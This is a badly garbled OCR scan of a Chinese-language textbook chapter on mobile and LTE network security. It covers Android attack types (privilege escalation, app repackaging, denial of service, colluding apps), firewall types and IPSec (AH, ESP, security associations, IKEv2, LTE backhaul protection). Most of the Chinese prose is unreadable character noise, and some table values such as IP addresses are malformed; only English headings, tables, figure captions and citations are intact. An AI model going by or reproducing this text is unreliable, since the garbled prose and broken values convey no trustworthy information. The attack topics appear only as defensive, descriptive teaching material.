# IR F 7 Android ¢ f;d , ng Zbig # JF'{ RS RRIRY AR A G-I R T R(R
L enpEp) o & FL R IR AT o ARFEE L iR VR TR Rt A
4

Eﬂ%ﬁ’ﬁﬁﬁﬂ?ﬁ%’

SHF L F e Az S Android T & b £ B [ eliF o L A 0
93 3Nhk* o ERA i B FPTE o - LGB THRAB . S
B AR K o fi 2 2EDORTFRH 0 FAREY F S0 LR R AR
G ioth B EE LR KR F o T - 05 R 2RI R

3N I ER A BB R S 2

T3

m

a4

7. f#*Wx4E( Privilege Escalation)

AR B e B )% ¢ dean Linux s iR R IR o Linux A2 5 - BE R
YA eniT ¥ ks @ Android B = e Linux 2 b o 9 so B K 4 3§ A7 2R % Linux
RAsE iR o TPV Bt L2 2% A - e Android £ ¢ oo

LR SEERCE N S R A sl ANEIIRE: $13- S a5 ) CRg A B
3 HBAN R L EIUAT R o TR AT EPE G RN EE fq g o AT

4 A P. Felt, E. Chin, S. Hanna, D. Song, and D. Wagner, “Android permissions demystified”. In Proceedings of the 18th ACM
conference on Computer and communications security, 2011/10.
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Flap2d 3 £33 T[%4?7} A AARR T H R o RS e 23 BT IR
FERh 3 EELAES ?E%?U%%ﬁ%%(mMD’@E%ﬁﬁ%?ugﬁ

B SR O en k SLAR B o
8. £ #7# % ( Repackage)

Android & * #2358 d Java #THEE 0 T £39E b chfdw Java B oAl 0 A€ AT
FiE

na

o
..\,

FEATEHRF A2 o @ EFTE s #E ¥ LY Android eh % = APP""'?“PP«J’«"
R F E R AT R H P APP BIEL (50 £ATHT ¢ FRTHEY AN I K 2 2
—rg\‘.gpajtht‘ ,,_A—rg\. °

FE AT E DB ST NG AFEL PN A F L SR EATE P
A G R iR 2 ID M Y p e ID R FE RIS L o £37

Fro gt Azsts T f A RE A BRFESRYARS  LFRNOGERILE RP
Renpeit * FT k% o
¥ RehEFTe Fend FaeT o (DfER & % 0 v 1% 1 2 bldeife apktool » & i
I Agends iT0@ %1 K g3 apk faR = % 5 DEX bytecode chi R 4 @ 3% DEX
mem%{@“ﬂﬁiﬁﬁﬁﬁﬁﬁ°®F%%:%E§DD(WMWEF%#ﬁ
Java #b % > 7 iSSR0, JAD 1 B 5 #-Java PR 4SBT o (3)FE » AR S L 8 ik
B Java RdeAB o BERARS R~ A Bt RAnanF RN F () ERTE K1 * apktool
KREFITe 2B BB ie Bt 4258 > £ 1% jarsigner k g & erds (8 o g @ Fren
E & tk & 4 Geimini 4= KungFu > /T* F-BEiie s A B B Piyaar o

g';g glsz@% ﬁ_f:\d o

9. re¥s2 ¥ ( Denial of Service)

EA LA LB T ke L 0 3 F AN TR RRERG S
CEEL SRS S ERT S L R S LR AR S R AP T4
- B3 FanE Y §8k o

Fh T hid A X F LG FFHMaRE s ¥ T L PR a g

ORTE o SR E T ONIETR Y F it > R AP ET A g S B P che ¥ o S

Boo BB AR AT AT E S L T OUE B kS L E RSN kR o hgaif

SFAR R e B E T BRATELN I R R 2 R RR
1

N . o 62
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Flgeshd > kR gskae v BY e 2 F Ap PR L FESTE KR 4§ ATE
A TR & B TR RAE o

FE G PRAFNP chE R * —*ﬁﬂé et LA YT FF RN LG H B
SR Ry R RN DR RS SRR RS N AR SRR
A4 A :a‘_%fr@‘sﬂfﬁ* M EEFCT] e SSID AT S LAY RGIRINR R B A R
B LA B G s R T AR E o 0T 5 R i o :Q:QUZ ¥ it ¥ eNodeB
% D0S s # ~ 4 EPC % # DoS 5o # 4 ¥+ OAM % #: 5% » F D[ G PRIk P e

{7 B L PR ETICE ¢ 0 8 AT+ 4B % (Radio Jamming Attacks) - — B £.3F %
FETMANER b FRRRGED R KREPFESBLS RS AR
SRF AR o e LTE &7 Lo R= - §§ &0t o gl LTE
A UMTS (3G) # GSM (2G) § { e 2%, #a LTEm ¢ £ T A &
Tt EEAREENY AR - AR
SHLATRA A RIFEA L FHE (PHY) 2 ¢ p%miﬁﬁﬁ—‘o?{g%;%i
FARBE R SRR CE > B - Y BRT T LB LA DA DA

s

T

10. # #-57%¥ ( Colluding Attacks )

P EMAERNELFS I ELARSNDRY
:%“E%ﬁ%?ﬁ%kwm@“ﬁﬁﬂ%*’*EJ?* A0 - TEESE LA
RN - A S TRBERR Y F TR A LE S ENE L SRR AL

S S RIE Y F R RS

42 Anthony Cuthbertson, “Massive DDoS attack on core internet servers was 'zombie army' botnet from popular smartphone app”,
2015/12/11.

4 J. Cao, M. Ma, H. Li, Y. Zhang, and Z. Luo, “A Survey on Security Aspects for LTE and LTE-A Networks,” Communications
Surveys Tutorials,IEEE, vol. 16, no. 1, pp. 283-302, First 2014.

4. Acharya, L. Gao, and S. Gaur, Heterogeneous Networks in LTEAdvanced, 1st ed., May 2014.

s, Bugiel, L. Davi, A.Dmitrienko, T. Fischer, A. R. Sadeghi, and B. Shastry, “Towards Taming Privilege-Escalation Attacks on
Android”, In NDSS, 2012.
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I TR B EREBRATEE T ]

(=)L
VR E R A NS N IR A R IR R LT RS 2P
5 2t B (] 3-10) 0 97 AN B 0H 2 EOP B DR BUT R AN RSB L el
Jacom NG R AR VAR % > 4 (Local Security Policy) iz 4t & A i i i o
HRE T T BT R P R IR T 2 4
PRARFE ] L A TN A FIRART AT R SR S R o

2,

S e irdl AR R E VBRI R B R LRt o .

3

¢ —fg};ﬁ#'] R Nt A &5 R apRAR o
e

PR A% EE (% o

P

Internal (protected) network External (untrusted) network
(e.g. enterprise network)

¥

Firewall (e.g. Internet)

W 3-10 B LT AW

FHRAR 2l A FRRE2HRE
VA1 e RIET L hms 28 5 E iR Vs R R LV
RIRR L s e AT o
1. 4¢ @ik L4 (Packet-filtering Firewall)

e BRD VA g R B REEOE IR $RTIE BN & P 3
P R R BRI e e o B R AT R S SR F kTR

IP &fe fhigdi = m ~ R p P gl RRE P DB RS BIA T

)
N

2B A m oo
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drd 3-4 57 > B¢ P A Fid *F TCP ~ 525 cnshIfdte i » o pLfdfF A
BE Ve BRF VBEY %A IP-TCP-UDP~ICMP #}¢ thiksf » 7 ¢t &
He FHENF - He @b VEDBEEL S {2 g P oy
BT d - e g R R R RITE Y KR T T e TR A S

i\:}io

! 4

Fooes 3FFLAE

_9‘\
-

W
\1

HOPRFEGIBEerTH G N ma B S R L %R A M E R L X

% 3-4 e iEigh L E AR

Rule Direction Sre Dest Protocol Dest Action
address addresss port
A In External Internal TCPp 25 Permit
B Out Internal External TCP >1023 Permit
C Out Internal External TCP 25 Permit
D In External Internal TCP >1023 Permit
E Either Any Any Any Any Deny

RSV URE FRTE RS FX

b

2. A REHARLIA L gh (Stateful Inspection Firewalls)

A B VA E - A BB RE e b VB &R L iR ehikiRit e 2 i
SUR L 4R S e BIRA e 2 R TR E o e g Li- Hik AL P
FEELOTANEEBL ERBYIe  SEFFEHEBERLE M ddm2
R BRRFFE ARG A RHETLT LF SRS e Wi e
LAGHarE > it e @Rl Vs iE
EE RN SR T

3-5 5t o g fdl
TPES @w ﬁ] J{la'v

\‘

el 3

7

P o om B oim AR

E

P Py 65
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% 3-5 RGHWAARE VR EE

Source Address Source Port s s 2 Destination Port Ll ol
Address State
192.168.1.100 1030 210.22.88.29 80 Established
192.168.1.102 1031 216.32.42.123 30 Established
192.168.1.101 1033 173.66.32.122 25 Established
192.168.1.106 1035 177.231.32.12 79 Established
223.43.21.231 1990 192.168.1.6 80 Established
2122.22.123.32 2112 192.168.1.6 80 Established
210.922.212.18 3321 192.168.1.6 80 Established
24.102.32.23 1025 192.168.1.6 80 Established
223.21.22.12 1046 192.168.1.6 80 Established

FHRARRESFRRL 2T R

b

3. =B X (Proxy)

RIEERERILS * 2 4250 & F L8 IR PR F (Proxy Server)id st > £
d AT EPREL P RER > A 2LE SR P RRE N PP i o RIERIRE TR
KBSt AR e KT A R EE R H ORI 0 BRE Y SRk v RILRIRE
EHRAEGRBIIPARIRE > TR v BT % 2B * 4250 o
RELACHE: Fag T S eI LR S rF S PR R I - § i
(1) Rk Mg F (Circuit-Level Gateway): & 1% * § & frf’P«;‘Ki’gﬁ TCP i &
PP g - B TCP UL - BAP IR * F{oMf FFHTCP @ s> ¥
—l[}{ﬁ{-’?@ﬂ?ﬁb"lﬂ*&mjﬁ FOER S EBEET S g PR ELT 0 42
AR FOUREER P IRIP hk o
(2) &* k& W ig % (Application-Level Gateway) @ — & { iR & HAR4T e p F PR ILPR
o RRED UHL SRR T AN | TR R RO LER SR A

9 o
(=) e 4%

B4t Ryt £ > G ch Android B ¢ 0 A R T s A S e
B W XEEAARN AT N T AR 2N er e § i N AR R T
3% BREPTE Ry 06
¥ 31 & T4y IRirL B ATARE T ]
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" El; ﬁ'«ﬁ‘ﬁ{i’fﬁ%ff‘l#? " Lﬁ i 25 'Fl]( :F?\‘F‘ 'Q m’fﬁ"’ N %F¥-19 mﬁi}k l% #’b#‘l/ﬁ
#: @ (control-flow graph) & ¢ 4p ke chsc F X #7422 e T R & ¥ APk D E R
AR Mpnzm*gm, 1% 1B éf‘. jﬁmpﬁ;%.‘u}»fﬁ“ﬂﬁ’”“‘f"f’ GRVES A F’F‘]’“TF’“’?

FEREAS
AR Al R B AR A F - BARN AT E T RN AR A 0 - KGR E ATR B RTen

FTHFLF VR T S hERERATREE T - BERAB YR A Bk
#2 N 7E ITLWE;?J%%:_% Tyl AR O o 8 Z AFE A AR L*"‘{;ﬁﬂ _—
ER A2 4 (sandbox) » F 8 7 5 AT R EF 0 KO RERIHEY 2N 2T
ST h o AT R R - A R T R ERARAREL A - 8
ZREenS N ARG T E Y 4o r T B e UL ] d IR Ry
Tk s enfe bk 3 5 EF I LB L F oS aRide S R R F A
(o @ fpt f2l 4ol @ * 913 Boen R o

= ~ IPSec b H H el p

Bphik k3L Ade 2 & 2 P £ TG TR A £ A ol
KR~ F 7! FASREEE - 427 R IRy pf| TR Rioikk
L & o A PSR EE B TR ORI Rt 37 R L PR
IETF (Internet Engineering Task Force) i i — x 7| RFC k37 2" Rk < > o
5 i&%;'\IPSec’ E5 7 8 R R kAP 3 3 RRE A .gga,,,] > Mee2E > IPSec # &
7 P LAN ~ WAN frie "2 et @ & 23 M aag 4 o

LTE & i s ke E-UTRAN # EPC % i o & > & eNodeB 6 X2 @5
M6 BRI AP R E 0 B1% SOG4 6 8 EPC R A o fp
W LTE %47 > eNodeB ¥ i ¥ trw gt - ¥ %4 UE 1 eNodeB 7 §

Wik o A ffssheeNodeB &2 SGW 2 B eh@fip 4 F 6t b AT H & p 2 TH 3
2 #f ehts B i g (Backhaul)# # T > IPSec BB IR T R e L ¢ % 23R
PREHBEEE L RRRL ERE EH 7 T %R eNodeB 52 SGW 2

IPSec 2t 55 4| 1 4 T Hs e o

R ALERL AL

{_@,

d 0 IPSec Ak 0 M T - BB (IPVE) (@A » 0 ke R AR E Y
fIPVA 1o A 5 i T A R N G % DI AT - R R R EARR(IPVE) Y

FOE R e 67
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—dp @ ihendté ¢ P aE IPSec WU A SRR D LR G A N R g
2P AT SR RES A B P F o IPSec ¢ 7 3 B d hp F L RE S e R e
EimE Lo REWIIT T BRI R iy nbhE g R R A
FREARR e e BRI EARFTHRGD e RFH 2L F 203 s 4B -
Bt B4KE EABFIRNE S4E 223G M oo IPSec 2 P4 Bl4cH] 3-11 -

User system
with TPSec

»P 1PSec Secure IP
Header | Header Payload

Public (Internet)
or Private
Network

Ethernet
switch

Ethernet
switch

P P
Headet] Payload

Networking device

Networking device
with IPSec

with IPSec

B 3- 11 IPSec #£ 4 W)

7o %k Network Security Essentials Fifth Edition

(- ) IPSec enif Bk

FRE@ 3 o IPSec § 1T iREL

1 Fplihdaed B * IPSecpr » Uiy i BH B R 973 BRI EF B A DT

>R o NG IPSec ae FEE T IRV enH g AR 5 F] 5 BN G A
IR ﬂié’— B~ OER ﬂk’-ﬁﬂ EORE — 3 1E

2. 2t @K (TCP ~ UDP)2 ™ 1IPSec #1473 s % 48 L 5 e T > f 17 L ot

d B ¥ IPSec FF > 2 BEF 2 A PRI K RIZ i TR Ak
i @ % IPSec 4 F F R B A B ICKT o

3. IPSec™ ikt ¥idS o A FRHE Y KL 2 .

>
™

>

NP P 68
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4. ¥ LTE 76 54F $ B eNodeB £ SGW £ eNodeB & eNodeB z_ fF S1/X2 Interface >
%38 IPSec feb ¥ AR g P AT RS Rpc B 2P o

(= ) IPSec e it 2 28 4

IPSec & 7 3 B+ it ' 30 ~ v R fr &4 E = o IPSec =% &£ d #i+ i RFC ~ 4%
Fe IETF & % < #f e = i E 35 IPSec e 45 = 2 £ 4 BB AT & e IPSec = 4§ P 4% o
7% e IPSec 2 4H ¥ M A G AeT BaE
1 ®isH:

& 5 IPSec thfh AEA ~F 2 T Fos RA oo F # enjE i ¥ RFC4301% Security
Architecture for the Internet Protocol
2. i £ 5 (Authentication Header » AH) ©

R A A - B TR BT RRE YR L 0 T ,r/\zg.’ifﬁ"-@ﬁg]?ﬁ:i SEEN ~ZeN- Al 8
Moo fpoab F ¥ ST o F @ ek §RFC430247 - IP Authentication Header - B =0 4% #* ¢
. Ep4r@ 3-120 & ?*f;%@ii%lﬁﬁfgié’s-ﬁé %R 3-13

0 7 15 23 3|1
I I | I

Next Payload
header length

Reserved

Security Parameter Index (SPI)

Sequence number

Authentication data

W 3-12 @ g

TR kR - flylib.com

“ https://tools.ietf.org/html/rfc4301
7" https://tools.ietf.org/html/rfc4302
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A4 % BF (Next Header) @ a8k B33 TR o7 erpd %o
{47 & A& (Payload Length) © uig & e /| o
7 (Reserve) : 2 #-kag* %7 (P AR % 0)e
% > %#k% 31 (Security Number Field) : & IP =gk — fo % k28 > $#c o

B 7 85(Sequence Number Field) :

% R sl I AN N U e PE S

E ok (Authentication Data) @ ¢ 7 7 in@E#r FeahFpl > FALELE R LT o
IP Data Packet Authentication Header (AH)
Data > IP Header TCP pbata
Authenticated
W 3-13 37 *h4ciniE R
A kR ¢ CISCO
3. #HEX M3 »;;;\ J7 (Encapsulating Security Payload » ESP) :
ESP ¢ 21 - B EDGE L > * A B RRET I L FEfcERIE - g

LA R IPEEA S 5

AN o § W e E ¥ RFC4303%: IP Encapsulating Security

Payload (ESP) » & 43 ¢h e 4o ] 3- 14

8 https://tools.ietf.org/html/rfc4303
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0 7 15 23 31
| | I | |

Security Parameter Index (SPI)

Sequence number

Protected data

Pad Pad length | Next header

Authentication data

W 3-14#HEKF 27 %P FiH

7R %k flylib.com

HES 2P P FAFE G2 AP 4T (4o 3-15)

% » % %% 31 (Security Parameter Index) : £7 IP f=xk— o * K2 >

9%

K

B 71 %.(Sequence Number) : ¥£.3 ch /& 7150 > * K prak & 3# 52 o

{4 7 #* (Payload Data) : § "% & @y -

# o (Padding) © * g - L EH R T 4 bytes B dcihE R o

# 2o & & (Pad Length) : 2 byte % ¥ =g L Fl ek & o

A4 2f (Next Header) @ #2384 1§32 T 7 e 2o

3 74 (Authentication Data) @ & 3 7 3azEd w @ “T% B hE R > THER AT

e

IP Data Packet Encapsulating Security Payload (ESP)
P Tcp Dt > I B
Encrypted
Authenticated

W3- 15 #5% 2§ % F AT

7R kR 1 CISCO
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4. JVERE £ 42 3 (Internet Key Exchange » IKEV2)

B5 AT IPSec ¥ A E v R L o P RFMEe R 22 0 MR
> REE e A & o F_RFC729649 - Internet Key Exchange Protocol Version 2 (IKEvV2) -
5 mAmEmEi:

T A AR R ARl e B s TAHRE - B S KPRF) e £ 42 #
ZERY R ST RRE I
6. H

fH W IPSec M chRFC = 4 & F 70 o2 % 2 Rk fod B L BP 7 -

% IPSec ¥ » AH{rESP 2.4 B chifdf » ¥ EH R * B¢ - BHRE -2 7

r

H

[EN
K P o A ALY ¢ gy ) ESP AR Y ESP e AH . R R 8
2

W R RERE Y (b F o P iE) 4 T IR % AHe

IPSec A T LE " &4t % B 17 H A BAME LS X o AL
(pre-shared) £ 4% @~ 2 S H WA L0 B 5 B 5 henbsh S 2 6l 2%

B ot g 2 TR EET E (008 A 0 6 TRt TR GO R R
R T2 RU I I A R R I PP S s s R
PRERE S N AN A T AR T B BB BT AL NG b
BAGICH T A 2 RH BAY S x o

IPSec @ * IKEV2 2 2 kR IREX 2 FT WD B F » VIRF X 2T A 48 3

e BRI B2~ @ £ 4y IPSec i Y (B SR B ) S G ok
B3 pi % > Sl A2 5% 2B E (Security Association, SA ) - IPSec 1 2 ¢
& RBFIF RN RHEZ L CBCH Ve DESfe NULL 7 &2 » & 3n@ig b iz 4
HMAC-MD5 » HMAC-SHA-1 4o NULL 3z i & i -

X3 IPSec L5 1 A IPFH S REF F T 7 23T A RBE % 2

4 https://tools.ietf.org/html/rfc7296
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Fo Fgt 5 IPSeC #5 %7 2 4 AE AR w5 5 0 & A chte oin i B i i 48 7] IPSec
FERA A A LT BTN IPSec ¢ AT F B IPSec ¥ v & 55 4]F M
B2 o RFC4301 ~ ¢ 7| M4 * IPSec i it & eh% 2 JR4%J R (4- 8] 3- 16) > IPSec i
0B E R ATE chE MR IR L RURARAT R Y i B R Aok BT 0 RIE D & chd
K3 E P Boeh® 2 IRFE o

R E
AH ESP (encryption  ESP (encryption plus
only) authentication)

FREN%] v v v

HEREREE TR v v

i BRI v v
Y

T mmss v v v

R v v

BRI EREE v v

W 3- 16 IPSec FR33

TR KR mzE Ba g

IPSec fedizmpF » » % g T14p % 1222 3 hf AT o Bide 1 IPSec & i BpAR L fE T
4 ~IPSec & F it B IPVA 2 IPV6 F @ % o BERF LSRR E RABE L AL 5D
“%ﬁﬁéo#%{ﬁ’w%cﬁﬁiﬁﬁ%—@ﬁiﬁ#ﬁ»gg@#ﬁiT»g
GHMBRBEL T FEPFEEAEELTE -

(=) IPSec i * #58

AH e ESP 354 453 B 1050 1 @ O3S fordadf 050 © @9 1050 (4 3- 17) 1 & 41
L %ﬁ%éi#&fm;ﬁ; DB S REL A BT A R # P $e PR
e BERHCR TN A DA e R BT B o @IS ESP £ 8 IP §
Fiefhe g 2 EER e TRE L1 ¢ § P AT - BRSNS AR T LR

IP i irfo IP 4 50 ¢ F i ol (G4 2 B 3-18) -
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® 3-17 @ﬁﬁ:;“fr b

7ok &R www.kernel-panic.it

Transport Mode Authentication Header (AH)

44— authenticated —————P

IP Data Packet / P Loder TCP JDAtE

Data

Encapsulating Security Payload (ESP)

44— authenticated ———————p
4————cucrypted ——p

P ESP

Header

W 3-18 @ﬁﬁs‘ it e

TR &R 1 CISCO

WRE P o IPSec § R B o LT EDEB P o § IPEE 4o r AH R
ESP 2 5 » B4t e 4o 254 d (F- BATIP4& oflis - R bbb o £ 4 -
BATHIP £ 8 o d 30 kehdde AP E > Arle L hite ¥ UG 2 B kiRe g
Poefigept o @R IRE e AL G - B B RR 2 BB R B2 A
BER IREFE S L 0 BT 2 o BB L F IPSec ar 4 it d B NS 0 iR A
£ 2 IPSec 41 ¢ iv 4 DT Mg TR FHNEL > oo

IPSec #k iThkif #50 c] 3 4o 3-19 0 — B appe? i A - B IP e >
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B Lg% 2pd B B d B UBERTT w O FE e > R e AT F 8
IPSec A » 4% & A T B ehdte 2 & IPSec AJZ - Al Vg3 7 IPSec A2 ¥ &
R AP A EE P A E > MM IP E P kIR IP R R L L IP By s B
PRV R EBARERER OB VEE oot - Ko B BET BB LA
HEEE Bid BEHR AP L AB b Vi f3 HNIP AF A
FRedte RE AP B o

W 3-19 REHF T LW

7ok %R www.kernel-panic.it

ESP Arkif i ? ¢HERMINIP 4o 27 > 2 EF MO HEFRE
7 222

& I]\ 2R |IP & % \:,F] - AH 7 K—‘élﬁ *3“):}\ ¢ F:\."\‘:B_ﬁ,r II?; F\ 25 P ‘Jl‘é’ ‘ft”ﬂ" %K IP %\Eﬁﬂ l‘pgﬁ RO PR
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Tunnel Mode Authentication Header (AH)
< authenticated ————P
Newlt, IP TCP pgbata

IP Data Packet / Header Heador
IP TCP pbata

Encapsulating Security Payload (ESP)

4 authenticated
4——encrypted —b

New IP ESP . =SP
Header Header o raller.

W 3- 20 "Rif Host

7R &R 1 CISCO

(= ) IPSec éf (£ 3

IPSec 3 1 erfl ke g L™ 505 — BACKRA TP e @een 1P 32 e 22
Wk o IPSec Wvs A & d % > B 5 (Security Association, SA) 2 & B AL E -2 55 B
AR A ] E % > BRI E R R (Security Association Database, SAD)fe% 2 | vk 34l

& (Security Policy Database, SPD) -

1. =% 2> M B (Security Association, SA)

% 2 M ESA)EIP BB friFp Wl et — BRI E - B E > fodzic
BB e SRMEBIE SR ENT 2R o Wk TR L 2
PZ8EZEZF BLX 2% 2RIV 1d AH & ESP ik 2% smﬁ}bgﬁﬁg.f_ o

- BE M = B SEE H TS E- PR

% > %%k 51 (Security Parameters Index, SPI): — 1 £2 % 2 B % 4p B e %% 5 i

AR FREA W RA 0 F EMBEFRNH o SPId AH{-ESP #+ >

B RT kLA B S DM R AT iR it e
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% > 23135 (Security Protocol Identifier) : 2R IP £ EF o BT 3% A B E_AH

% > ESP % >R TH o
2. % M FH R (Security Association Database, SAD)

FRMBTHER G GE2 N 2PN C L > Ve F 2 ML S
ot BIFEE CRBIFE L FOFERE - BX2MBMTELY % 2L Y
6

%36 X 2MHMFTHE FEIR

?’LF‘“

%5 - B 32-bits endex > * kek- FrE - BE 2RI o

BE | v kA2 AH R ESP £ 5 ¢ B % e 32-bits B -

Trm BABL BB AT o F R R At >R

B o5 ARk

L e
PLEEE e | R - BAINAH & ESP A ST A £ A F i e
AH % # RERE G £ ERPTIC AH BB Sk -
ESP %:Qﬁ;: i’;; ’frF:u‘;ﬂ-/?ﬁ-ﬁ- =D $ % %w 'hr’ e * $ %Eﬁ I’ff' ESP #E Fﬁg
-8 °

ARBPEAis > S E Y A d - BT DRI ¥4
19 B todfe (54 7 -

IPSec 53k #258 AR S
FGRE nL TR S TERLE F T F R A B i

—\ij‘g—;\ o

T rMIT KRR

BT B 4 @gﬁlﬁi =

FH KR A B ER

3. % 21+ % 3 E (Security Policy Database, SPD)

ZrMREFTRE? TRTEFFRGEOH? TR X 2UBAL 2L
% e IP BCHR @RI P T 2 B IP Bl BB R B R AT 8L
Z 3 > BEH 7 IPSec 3 ~ A fER I T o

%*g%&ﬁ&@»iiﬁ%%fﬂﬁ’gﬁéﬁ&ég@ﬁ%%ﬁ\iyIP
gk~ B4 IP 2 4k~ IPSec $43% ~ KiRfop cheg o

TRIZ-2LH#ET A R % 2R TR E GG o ¢ A S IP
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ht¥_1.2.3.101

(AR T3

=3 22
PO B

T 123 42 (BYPASS) | 1.2.4.10 #IRE o

* HRIFEE

Protocol | Local IP | Port | Remote IP Port Action Comment
UDP 1.2.3.101 | 500 x 500 BYPASS IKE
ICMP 12.3.101 | * * * BYPASS Error messages
% 12.3.101 | * 1.2.3.0/24 * PROTECT: ESP | Encrypt intranet
intransport-mode | traffic
TCP 12.3.101 |* 1.2.4.10 80 PROTECT: ESP | Encrypt to server
intransport-mode
TCP 123.101 | * 1.24.10 443 BYPASS TLS: avoid
double
encryption
* 123.101 | * 1.24.0/24 * DISCARD Others in DMZ
* 1523101011 * » * BYPASS Internet
B 3- 21 SPD # b2 # Wl
74 k& Network Security Essentials Fifth Edition
IPSec HjtFertr o H_IPSec % » M B » d IKEV2 & i = > E IR 40T GRS

B 3-22):

Eig o SBHILE LA
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1% @ iz e IKE %

SRR R O REET L PG AR Dl -

FhiEr IKEZ >H T

2T KA A1E L R0 IPSec % 2 MU o i B B0 &
BenE RS 0o g % IPSec ih= i A Mk blde D FRPEL 20
A AR AFE R SR AR E S o
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E Key exchange !

IKEv2 IKEv2 k
= R St
Security VSecurity
policy IPsecv3 IPsec SA Pair [Psecv3 policy
database el database

(' Security Security A
@ association b’ association @
database ESP protects data database

B 3- 22 IPSec #ﬁﬁ*_m

7R kR Network Security Essentials Fifth Edition
(I ) IPSec et & Eg®
F@* IPSec R & 77 3 B3 widte e -
1. & *h 34 & &2 (Outbound Processing)
T B 3-23 i e ¢hid 200 IPSec e i AR o

(1) itsw & IP e o IPSec 4% % 2R FHEFH 2 7 e
wg o

(2) BACAP I T Aeeniot o BT R X w R EL L o

() BACH I T fecnileg o Bld B F - B RvE v A1 iEAR o B e

R E TR T RAEIE S W% e vk Fad i 0 P IPSec iBARKE A o
I # e iR B E P 3

(4) FHme m%%mﬂé’w*iim%?WEf?qwm&iw% o iz
4% P Bl IKE £ eng

(6) 4ok 317 ﬁomim’ﬂwgwa@@r T EMBA L e RS
SEPRE T WA RS A B Y TR

on e - 79
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Outbound IP packet
(e.g., from TCP or UDP)
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found Search

security policy
database

Match found
\ \ A

Discard | PISCARD, Determine ™ PROTECT
packet policy /

BYPASS v Vv
Match

found

Search
security association
database

\ 4

Process Internet
(AH/ESP) key
exchange
Y Y
Forward
packet via
1P

B 3- 23 IPSec w ¢t 4t ¢ EUR

7R kR Network Security Essentials Fifth Edition

AR # & E&J2(Inbound Processing)
TR 3-24 Lo i b IPSec AU B AR o

IPSec i i & % B 153k (IPVA) & 484 4 57 (IPV6) % 2| 97354t ¢ § - B 2%
2P 4o R EF ESP & AH 2 ggenlIP 44¢ o

BAcE 2b% 2 IP 448 > IPSec €43 % 2R TR EFH B4 e T
mﬁ\ux o BAry: - BT jﬁomﬁ\u K8 P J2 IP £ BR IR (S At e [ RT R @@l
B > 4- TCP & UDP o Bde¥ - B ™ fecnifv: i ~ T T > &2 F 357
T e 0 RIE R 3dte o

do% §% 2endte o IPSec g % 2R FTHE o BAcd 537 el o fY
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Deliver packet
»| to higher layer [«
(e.g. TCP, UDP)

Process
(AH/ESP)

A

Match
found

BYPASS Not No match

BYPASS found
Discard

packet

Search
security association
database

Search
security policy
database

Inbound IP packet
(from Internet)

B 3-24 IPSec & p 417 BgR

7o %k © Network Security Essentials Fifth Edition

FOEARE S A LRk B edEg o L FL LTE &M

Fhi B 2w facT o2 eNodeB s kE > F o X I 23

g R

\

WAL 5 Bt
eM%Bﬁ»?%%ﬁ%%»%%%iﬁﬂwﬂﬁéﬁﬁ§oasm&ﬁaﬂ,?ﬁ
SR R SRR ST R R R A K

-

AL NNCES SRS P S R L mé%i@?% ST R A R A
A e

¥- o g 802.1x > i
TEEFRR 5o o5
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Gref bR P o IP R Y ch® R4S N
#F RADIUS ®'PRF eiugg » 7 ok 22 eNodeB 4% » 1
IPSec > if i % > W i & {7 & i» 303 > 22 = IPSec %sg > Kk B3k (S1/X2/0AM) /i & F
FT B > o Btd o e ® B G R SSLo B P RS R ES
FAL R R 2 g
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£
Frp g bt onHEL P 22 IPSec® 2HME > AR A RioRFE M E S K
¥ 3% WREBTE R 81
31 & FHPEINE IR KATET T ]



EEALTERPER TS (F1P) 2277 % PAFEL

BE B~ B4 R 0 % 3t eNodeB # ji i > IPSec % > BB o Wi % 2 {0k
=% ~DH £45 i E 2 - HB Y PREE s A #Ha IKEX 2B Hauz 2 o )
* IPSec #jis ¥ 3% eNodeB 7 X2-S1-MME-S1-U~OM % ¢ /i & o #43% % ¢ 4% IKE ~
ESP ~ AH % - IPSec ii if IKE {23k = = £ 45157 11 2 ¥ 230 » 8- ¥ i 1§ ESP/AH
FR2REA N BIFTEE S R EKET TR P R K

(=) IPSec &2 7+ B HE e ge % 2>

B iTd BAR RS Y o IPSec # iR BIRE O~ o r 3 e FERR R RR A M0 2o B 2013

”

£ > kp #% Heavy Reading = & % % - » white paper - ” The Security
Vulnerabilities of LTE: Opportunity & Risks for Operators” # *° » & 5|4 @] 3-25 + =
3G g7 o ¥ g PlehE L 2 5] RNC (Radio Network Controller) PR
IR e Bl o mF LA LTE Ee? » AP EFSMAID & S1-U ¥ 5 L@ iila
el o T EE 2end B ke 3G fepdprt o LTE i B MF O F 248
RS A

3G W-CDMA Architecture

v

L3 p )
™ \ ~
- \ -
- ¢
>
~~~~~~~~~~ f Data Core
) @t eL twe

OMATM/IP ememmmeel
(t b interface

lu CSinterface 4

lub inerface
TDM ATM/IP

ot
w"\ P

LTE Architecture 0™ g~ One Evolved Packet System
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- -

-

$1 intedface 51interface

S1intedace

51 Interface

W 3-253G 2 LTE g 284
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IPSec @ A ¥ RiE(7 5 &2 LR ehpgr > 4 F 3GPP k2 IP pre® > P4
17 o R4 R B4R 0 2015 E §5 R 2 F + & (Soongsil University) s Uijin Jang,
Hyungmin Lim f= Hyungjoo Kim # 1! 77”’Security Scheme for LTE Initial Attach”# < ¢
dp UM TR 780 % 2 kg (International Mobile Subscriber Identity , IMSI) &+ %
(User Equipment, UE)£2 eNodeB it {7 initial attach 2 & 4% ¢ £_2 < (plain text) > ;¢
@ EIIEE T A LTERelease 12 % & » 47 3B 5 = 2 5c B BES o Ap M
ST S I L T AL

i Heavy Reading = ¥ 3 % ewhite paper # >~ & ¥ 23R § % LTE #R< 2
R G B L TG E A LTE (e = & » SEH 4§ IPSec enifi i § 317t - 8
2R 0 j€.2010 # 10 * $] 2012 & 9 ¥ cht ik Y T U MG < 30A DT R EH

FRAEARLTE ch% 22 7 2471 TR EFFGEE T PR F(dck 3-7) 300 4o o

%37 %1% #-‘ﬁ £ IPSec R.FER &

DECEMBER 2010  SEPTEMBER 2012

(N=92) (N=69)
All cell sites will need IPsec implemented 20% 32%
At least half of all cell sites will need IPsec implemented 13% 13%
A subset of cell sites will need IPsec implemented 19% 23%
IPsec will probably not be needed in the backhaul 17% 4%
IPsec will definitely not be needed in the backhaul 1% 3%
It's still unclear at this stage 29% 14%
Don't know Option not 10%

offered

7% k& ¢ Juniper Networks
1. Bgi “{:ig#-ﬁ IPSec ek 7]

(1) & 49 F 9 fhob et SLXZﬁ&iﬁ@w¢Sﬁﬁﬁ§ﬁ’&$?ﬁ#W

5 Jang, U., Lim, H., & Kim, H. (2015). Security Scheme for LTE Initial Attach. InUbiquitous Computing Application and Wireless
Sensor (pp. 53-66). Springer Netherlands
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(3)

AT EHFHRS LTE PR A 4cs 436 L 7 » @ =52¥ 75 236
